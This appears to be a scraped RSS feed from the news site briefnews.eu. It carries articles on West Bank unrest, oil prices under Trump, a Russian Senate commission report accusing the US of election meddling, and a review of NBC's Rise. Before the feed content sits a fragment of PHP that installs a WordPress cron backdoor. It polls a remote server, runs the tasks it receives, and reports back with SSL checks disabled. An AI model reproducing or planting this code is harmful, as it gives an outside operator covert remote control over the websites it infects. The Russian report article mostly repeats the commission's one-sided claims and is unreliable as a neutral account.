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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); stirring – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 22 Oct 2018 15:57:39 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png stirring – Brief News https://briefnews.eu 32 32 The Next Intifada Might Be Stirring in the West Bank https://briefnews.eu/the-next-intifada-might-be-stirring-in-the-west-bank/ https://briefnews.eu/the-next-intifada-might-be-stirring-in-the-west-bank/#respond Mon, 22 Oct 2018 15:57:39 +0000 http://briefnews.eu/the-next-intifada-might-be-stirring-in-the-west-bank/ Distrusted by the Palestinian leadership and feared by the Israeli military, Jamal Tirawi has a unique view of the conflict from his office in Nablus, deep in the West Bank. To the left, along a busy road where uniformed men carry AK-47s, is Balata, the largest and most febrile of the West Bank refugee camps. To the right is the casbah of Nablus, rebuilt from the rubble of the second intifada, when Israeli tanks rolled down this road in 2002.

Tirawi, who ran a militia in the 1990s, was convicted of helping carry out a suicide bombing in Tel Aviv during the uprising and was described recently by one Israeli military official as the sort of man the Israel Defense Forces worries about. A member of the Palestinian Legislative Council, he is an outcast from the West Bank leadership who see him as an unreliable rival. He has a grim warning for both groups.

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“Any second now we could see the beginning of a third intifada,” he says solemnly, sitting between two portraits — one of Yasser Arafat in military garb, the other of his more moderate successor, Mahmoud Abbas, in a suit. “The reality is that the fire has already started, but any second now, the flames could get really high — we are talking about total chaos.”

At any other time, Tirawi’s warning would be dismissed as the exaggerations of someone who exists on the often violent periphery of Palestinian politics. Since the end of the previous period of unrest to rock the occupied West Bank in the early 2000s, there have been persistent warnings about a new intifada. But among the Palestinian leadership, Israeli officials and observers, there is an increasing concern that after a long period of relative calm, there is a real possibility of an outbreak of sustained violence in the West Bank.

When there’s nothing left to live for, should I not die in a way that matters?

Adil, a 32-year-old Palestinian

Gaza, the blockaded coastal strip run by the Islamist group Hamas, corners much of the world’s attention. With protesters massed at the Gaza border with Israel since March this year, Israeli snipers have shot and killed at least 150 people, and wounded thousands more. However, it is the West Bank, run by the secular party Fatah, that remains the heart of Palestinian nationalism.

A quarter century after the Oslo Accords were first signed, Palestinians now feel as far as they have ever been from their eventual goal — a state of their own, a withdrawal of Israeli troops from the West Bank and the dismantling of some, if not all, of the settlements that encroach deep into land they intend to build a nation out of.

In interviews, West Bank residents describe a mounting despair that is the result of an emboldened right-wing Israeli government, a belligerent U.S. administration and an indifferent Arab world — especially Saudi Arabia, which has chosen to build covert ties with Israel as it duels with Iran. Their frustration with their own interim government, the Palestinian Authority (PA) led by Abbas, has also grown. More than 60 percent of Palestinians in the West Bank and Gaza want Abbas — whom they deride as corrupt, inept and impotent against Israeli aggression — to resign, and three-quarters think things have become worse since Oslo.

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These conditions resemble those that preceded previous outbreaks of violence, which were triggered by isolated incidents. The first intifada started in 1987 after an Israeli military vehicle hit a civilian car in a refugee camp; the second started in 2000 when right-wing Israeli leader Ariel Sharon entered Temple Mount in Jerusalem.

The potential catalyst this time, say observers, is the rapid change in U.S. policy toward the Palestinians under President Donald Trump. To satisfy his evangelical base, Trump has moved the U.S. Embassy to Jerusalem, without addressing the Palestinian claim to the east of the city as a possible shared capital in the event of a peace deal. He has cut hundreds of millions of dollars of aid to Palestinian refugees, and appointed as the U.S. ambassador David Friedman, who has supported the expansion of Israeli settlements in the occupied West Bank. Last month, the U.S. shut down the Palestine Liberation Organization’s mission in Washington, effectively cutting all high-level ties, “reducing us to the 1980s, like we are terrorists,” according to one Palestinian politician.

“You may think I am being dramatic, but when there’s nothing left to live for, should I not die in a way that matters?” says Adil, a 32-year-old waiting outside an East Jerusalem hospital that has lost U.S. funding. Adil suffers from an easily cured illness, but cannot afford the treatment — not one person in his family has a job, and all eight relatives live off aid. “Life is depressing. Death is final, and for my family, it will bring honor.”

According to Israel television channel Hadashot, the chief of staff of the military, Gadi Eisenkot, warned Prime Minister Benjamin Netanyahu in mid-September that there was an 80 percent chance of a large outbreak of violence in the West Bank. Tirawi agrees. “The Israelis are delusional if they think things are under control,” he says.

How Israel controls the West Bank today is far different from when the second intifada was quelled in 2005. Drones, heat-sensing cameras and other forms of surveillance have replaced many checkpoints. The generally lower level of violence means that troops enter less often into refugee camps or the larger cities controlled by the PA. Instead, a robust arrangement with Abbas’ government sees Israeli and Palestinian security officials share intelligence.

For the Israelis, it is a way to maintain surveillance on a large urban population without directly policing them, and for the Palestinians, who still receive funding from the Americans for this, the security arrangement helps keep opposition to Abbas in check. The lower level of violence has allowed the Israeli military to reduce the “points of friction” with the Palestinian population, according to a senior military official who spoke on the condition of anonymity. The surveillance adds a sophistication to the occupation that was not possible during the first two intifadas.

Instead, the military official says, they keep their eye on more emotive triggers: changes to the status quo at Al-Aqsa Mosque — the third holiest site in Islam; the conditions of refugees and prisoners; and around this time every year, the olive harvest, when Israeli settlers often clash with Palestinian villagers trying to harvest their ancestral trees.

Aside from these issues, the Israeli official describes a situation where random acts of violence from “lone wolf” attackers remain a threat, but more organized violence is rare.

At least some of the calm is to do with Abbas and the PA. While he is the subject of Israeli and U.S. criticism for paying stipends to the families of Palestinians convicted of terrorism in Israeli courts, Abbas has been wary of signaling a broad approval of violence. Those who know him well say this is partly because he has staked his political career on negotiations. Others, including Israeli officials, suggest Abbas, an 82-year-old chain-smoker, would be incapable of controlling, let alone ending, a fresh uprising. But as Abbas has aged and the PA’s popularity has waned, senior leaders are beginning to jostle for his position and are increasingly critical of him in public. Lt. Gen. Eisenkot cited Abbas’ death as a possible trigger for more violence, according to Israeli media.

Jibril Rajoub is one of the officials fearful about the future. Rajoub spent his youth in street battles with Israeli soldiers, and rose up the ranks of the exiled PLO in Lebanon and Tunisia. He ran the PA’s secretive security services under Arafat, and remains a controversial figure, running the Palestinian Football Association. The Israeli government blamed him for threatening violence against the Argentine soccer team for considering a match in Israel this year. (Argentina canceled; Rajoub denies the allegation; FIFA, international soccer’s governing body, banned him for a year for “inciting hatred and violence.”)

In a suit and tie in his well-guarded office in Ramallah, Rajoub says violence is inevitable. “Chaos will be the rule, and discipline will be the exception,” he says, after emphasizing that he and his leadership will continue to urge peaceful resistance to their followers. “But we can’t ensure anything — no one can control millions of people, or tens of thousands of weapons and machine guns moving in the street, and no one can control the different factions.”

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In Balata’s narrow streets some 27,000 people are crammed into less than 1 square kilometer of space. Most are descendants of people who either fled or were driven from their homes in what became the state of Israel in 1948. Some 58 percent of Balata’s adult residents have no jobs, the United Nations estimates. More than half are under 25, and after Friday afternoon prayers, many of the young men hang out outside the barbershops that line the main street of the camp.

At one, the usual posters of the latest hairstyles have been replaced with images of the young men killed by the Israeli military. Of the eight young men in the shop, only one has a job. Even the 36-year-old barber is an apprentice, paid in lunch and afternoon tea. “These are supposed to be the best years of their lives,” says Tirawi. “You are thinking of life, of meeting a woman and getting married. But instead of all this, you choose to go and die.”

Tirawi’s concern is mirrored elsewhere. Mohammad Shtayyeh, a senior Palestinian leader whose work includes oversight of the economy, says the West Bank is gripped by hopelessness. There is a political impasse between Israel and the Palestinians, but also within Palestinian factions themselves. Hamas in Gaza and Fatah in the West Bank refuse to reconcile and present a unified national government.

“The mood today is the same as it was in the months before the first intifada,” Shtayyeh says. “There is no political horizon for improvement, and this is creating an extreme anger within the public.”

Speaking privately, many Palestinian leaders talk of worst-case scenarios. They include the return of suicide bombs, the increasing allure of Islamist propaganda from their rival Hamas and a collective fear that their unpopularity with Palestinians could result in a succession battle after Abbas’ death, both within Fatah and with Hamas, which would seek to capitalize on the power vacuum.

Shtayyeh is not as pessimistic. He lists several reasons why both Israel and the PA, which understands the challenges to its own survival an upsurge of violence could bring, would work to defuse any violence. Some 200,000 Palestinians work in Israel on a daily basis — both illegally and legally, including some 18,000 who work in factories on settlements — bringing close to $ 3 billion in salaries back to their families, he estimates. A further 100,000 work for the PA, bringing some economic stability to the West Bank.

It is those who remain stuck in refugee camps or outside the Palestinian mainstream that he worries about. “These are the ones who will trigger a new wave of protests — they are the ones who are angry, frustrated, politically mature.” With the current state of anger, he adds: “They are the ones, they are the trigger.”

Contact and conflict in the fractured West Bank

Three Sundays ago, Ashraf Na’alwa, a Palestinian electrician in his early 20s, walked into an Israeli-owned and -operated factory. Within minutes, according to the Israeli military and CCTV footage, he had shot and killed two of his bosses and injured a third before escaping. A few weeks earlier, a Palestinian youth walked up to an American-Israeli settler, Ari Fuld, at a shopping center and stabbed him in the back.

Both attacks took place in the fractious geography of the West Bank, where some 450,000 Israeli settlers rub up against 2.5 million Palestinians. The settlers’ homes, factories and shopping complexes are illegal under international law, but since the Oslo accord was signed in 1993, the number of Israelis living in the West Bank has nearly quadrupled, further inflaming tensions between the neighbors.

That presents a challenge for the Israeli military, which must protect its citizens, who often live within a few hundred feet of Palestinian villages, drive on the same roads and work in the same factories. (Another 200,000 Israelis live in East Jerusalem, which Israel annexed after the Six-Day War in 1967.)

Unlike Gaza, which saw an Israeli withdrawal in 2005 before it was placed under an punishing land, sea and air blockade, this proximity gives the conflict an immediacy — stabbings, stones thrown at passing cars, car rammings, Molotov cocktails. The 19 refugee camps that dot the West Bank are fertile recruiting grounds for groups such as Hamas or Islamic Jihad, according to a senior military official who declined to be identified.

Already this year, some 2,300 Palestinians have been apprehended, six warehouses used to manufacture or store weapons raided, and $ 50,000 in cash and 25 vehicles seized. Were there to be an outbreak of violence, refugee camps such as Balata in Nablus or Qalandiya near Jerusalem would probably be at the center of activity.

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By Mehul Srivastava

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Losing room for manoeuvre

IT USED to be said that America’s shale producers were the new “swing factor” in global oil markets. It turns out that role is being taken by America’s president.

At a time when oil prices are at three-and-a-half-year highs, markets are being buffeted by three countervailing forces unleashed by President Donald Trump: his geopolitical agenda, particularly sanctions on Iran; his domestic political agenda, to lower American petrol prices before the mid-term elections; and his looming trade war with China. If he does not get his way, he may have a dangerous weapon up his sleeve—America’s Strategic Petroleum Reserve (SPR). His meddling risks making OPEC, the oil cartel that is a focus of his wrath, look like a paragon of predictability.

First, geopolitics. Despite an agreement late last month by Saudi-led OPEC and Russia to increase output by up to 1m barrels a day (b/d), the price of Brent crude, a benchmark, has risen to above $ 77 a barrel. The proximate cause this week was a brace of supply outages in Libya and Venezuela, both of which are in upheaval. But adding fuel to the price rally is the Trump administration’s pressure on America’s allies to cut oil imports from Iran to zero by November 4th, or risk punishment for violating American sanctions. This is more…

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]]> https://briefnews.eu/gadget-lab-podcast-why-apple-google-microsoft-are-stirring-the-software-pot/feed/ 0 Funding NGOs & stirring dissent: Russian special commission exposes election meddling by US https://briefnews.eu/funding-ngos-stirring-dissent-russian-special-commission-exposes-election-meddling-by-us/ https://briefnews.eu/funding-ngos-stirring-dissent-russian-special-commission-exposes-election-meddling-by-us/#respond Thu, 31 May 2018 03:52:46 +0000 http://briefnews.eu/funding-ngos-stirring-dissent-russian-special-commission-exposes-election-meddling-by-us/ A special commission report on foreign meddling in the 2018 presidential election has been unveiled in Russia’s Upper House. The document highlighted the main methods of the elaborate campaign, spearheaded by the US.

The report, presented on Wednesday in Russia’s Upper House (the Senate), was prepared by the Commission for State Sovereignty Protection in cooperation with leading experts and analysts. The publicly available document was presented by the head of the commission, Senator Andrey Klimov.

The document pinned the blame for the meddling in Russia’s election directly on Washington, linking the ongoing surge in hostile activities with the domestic political struggle in the US. Attempts to interfere in internal Russian affairs, however, are not new, as they have been going on since the collapse of the Soviet Union.

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The US has been the “main violator of international law” since the founding of the United Nations, and has “interfered more than 120 times in the affairs of 60 countries on all continents.” Washington’s closest allies – the UK, Germany, France, NATO, and European countries – are also to blame, since they either participate directly or support US activities, according to the document.

“We tried to show… the areas in which the subversive work took place. We’ve named 10 such areas. We have concrete examples for all of them based on absolutely reliable facts. It’s not someone’s guess, it’s not ‘highly likely,’ it’s something we can prove anywhere, it is backed up by testimonies, documents and it is, by great margin, not disputed by the other side [the US],” Klimov said at a press conference, which followed the hearings in the Upper House.

The main purpose of the commission’s report, according to Klimov, is to show the public – both Russian, and international – the scale and systematic nature of the efforts to undermine Russia’s “electoral sovereignty.” The ultimate goal of these activities is to force changes of Russia’s political course, destroy its territorial and economic integrity, he said.

Direct election meddling & stirring dissent

The West has been trying to de-legitimize each and every election in Russia, routinely dismissing them as “undemocratic.” Ahead of the 2018 presidential election, both the US and EU condemned the barring of opposition figure Aleksey Navalny from the election. Ignoring his criminal conviction that bars Navalny from running for president, a US State Department representative called it a move to “suppress independent voices.”

The EU foreign office went even further and stated that barring the politician from the election due to “an alleged past conviction” casted “serious doubt on political pluralism in Russia and the prospect of democratic elections.” Such calls for “democracy” completely disregard Russian law and constitute a blatant attempt at election interference. While one may view Navalny’s conviction as they please, it is certainly not an “alleged” but a very real one, Klimov noted.

The election meddling also included wide-scale cyberattacks on government electronic resources, primarily the Central Election Commission. All in all, roughly one-third of such attacks are conducted from US territory, according to the report.

More discreet methods include stirring dissent by intensifying the activities of foreign-based Russian-language media outlets and “independent” bloggers. The use of modern technology and communication methods apparently yielded some results, since the latest protests, while much smaller than those of 2011-13, increasingly attracted younger and even underage activists into the streets.

Generous NGO funding

NGOs operating in Russia have enjoyed a steady flow of funding from abroad, which spiked following the failure to discredit the 2012 presidential election. In 2015, for instance, politically active NGOs received 80 billion rubles (around $ 1.3 billion) from the US alone, the report says.

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Participants of the opposition procession and rally of protest against the Russian election system in Moscow © Maxim Blinov

Although Russia limited the activities of foreign NGOs within the country, requiring them to openly register as ‘foreign agents,’ the flow of funds did not stop. Various ‘grey’ schemes came into use, such as providing large sums in cash or transferring funds to private individuals. In the meantime, Russia-based subsidiaries of foreign NGOs flourished – their funding in 2017 almost doubled compared to 2016.

The total amount of NGO funding greatly surpasses the upper limit for a presidential candidate’s campaign in Russia. The scale is comparable to the entire budget for holding elections in the entire country, according to the report.

Apart from directly financing “civil activists” in Russia, the US and its allies spent money on more covert activities. Ahead of the election, several unsanctioned socio-political surveys were conducted in Russia, which were sponsored by foreign government structures – including the Pentagon – the report stated.

Targeting top Russian leadership, and Putin personally

A large part of the foreign efforts to interfere in domestic affairs targeted Russian President Vladimir Putin directly. This was observed as early as 2004, but spiked ahead of the 2012 election, according to the report. Then-US Vice President Joe Biden visited Russia and met with opposition figures, and told Putin that he should not run for a new term, since “Russia was tired” of him, the report says.

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A similar pattern was seen in the following years, with Putin being portrayed as the only obstacle to the growth and prosperity of the Russian economy, and the man who “deprives the people of the democratic achievements of the 1980-90s.” Apart from smear campaigns, the report said some media also tried to demonize the Russian president in the eyes of the public by exaggerating certain problems to provoke Putin into making “unacceptable mistakes.”

Proposed countermeasures

The foreign activities outlined, however, failed to yield any tangible effect on the election, proving not their ineffectiveness, but the strength and stability of Russia’s socio-political system, the report concludes.

The commission prepared a set of recommendations on countermeasures against future foreign meddling, primarily by tightening up the laws. The proposed measures include prohibiting foreign-printed election campaign handouts, banning the participation of non-Russian citizens in the campaigns in any form, and barring dual-citizenship individuals from becoming trustees of candidates.

Other recommended measures include introducing a “special relationship” format with countries that impose sanctions or meddle in Russian affairs.

The recommended measures are not limited to restrictions. The report called for other countries and international organizations to become united in jointly opposing US meddling practices. On the home front, special attention will be given to education work, aimed primarily at young people, who are deliberately targeted with foreign propaganda, Senator Lyudmila Bokova told the press conference. The classified version of the report, according to Klimov, contains additional recommendations for countering foreign meddling.

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]]> https://briefnews.eu/funding-ngos-stirring-dissent-russian-special-commission-exposes-election-meddling-by-us/feed/ 0 Rise Review: NBC's Stirring Drama Is Heartfelt, But Has Some Growing Pains https://briefnews.eu/rise-review-nbcs-stirring-drama-is-heartfelt-but-has-some-growing-pains/ https://briefnews.eu/rise-review-nbcs-stirring-drama-is-heartfelt-but-has-some-growing-pains/#respond Mon, 12 Mar 2018 14:41:25 +0000 http://briefnews.eu/rise-review-nbcs-stirring-drama-is-heartfelt-but-has-some-growing-pains/ TV Review Grade B+From the opening frames of NBC’s new drama Rise — an idyllic panorama of all-American scenery set to lilting guitar — you start to feel that familiar rush: This is Jason Katims country. The Friday Night Lights and Parenthood creator’s distinctive imprint is all over Rise, from the shaky-cam cinematography to the off-the-cuff dialogue, and if you loved Katims’ past shows, you’ll find a lot to love here, too. Whether Rise can ultimately rise to the level of those two stellar achievements, though, is still a question mark.

NBC Premiere Dates 2018The premise of Rise — debuting this Tuesday at 10/9c; I’ve watched the first five episodes — makes it sound a lot like Glee: Josh Radnor, of How I Met Your Mother fame, stars as Lou Mazzuchelli, aka Mr. Mazzu, a high school teacher in an economically depressed former steel town in rural Pennsylvania. (See, he even has a cute nickname like Glee‘s Mr. Schue!) Mr. Mazzu volunteers to take over the school’s theater program, hoping to rescue the kids from another uninspiring production of Grease and put up the provocative Spring Awakening instead. And this isn’t just charity; Mazzu is looking to inspire himself as well. “I need this, Gail,” he tells his wife (Marley Shelton). “I need something.”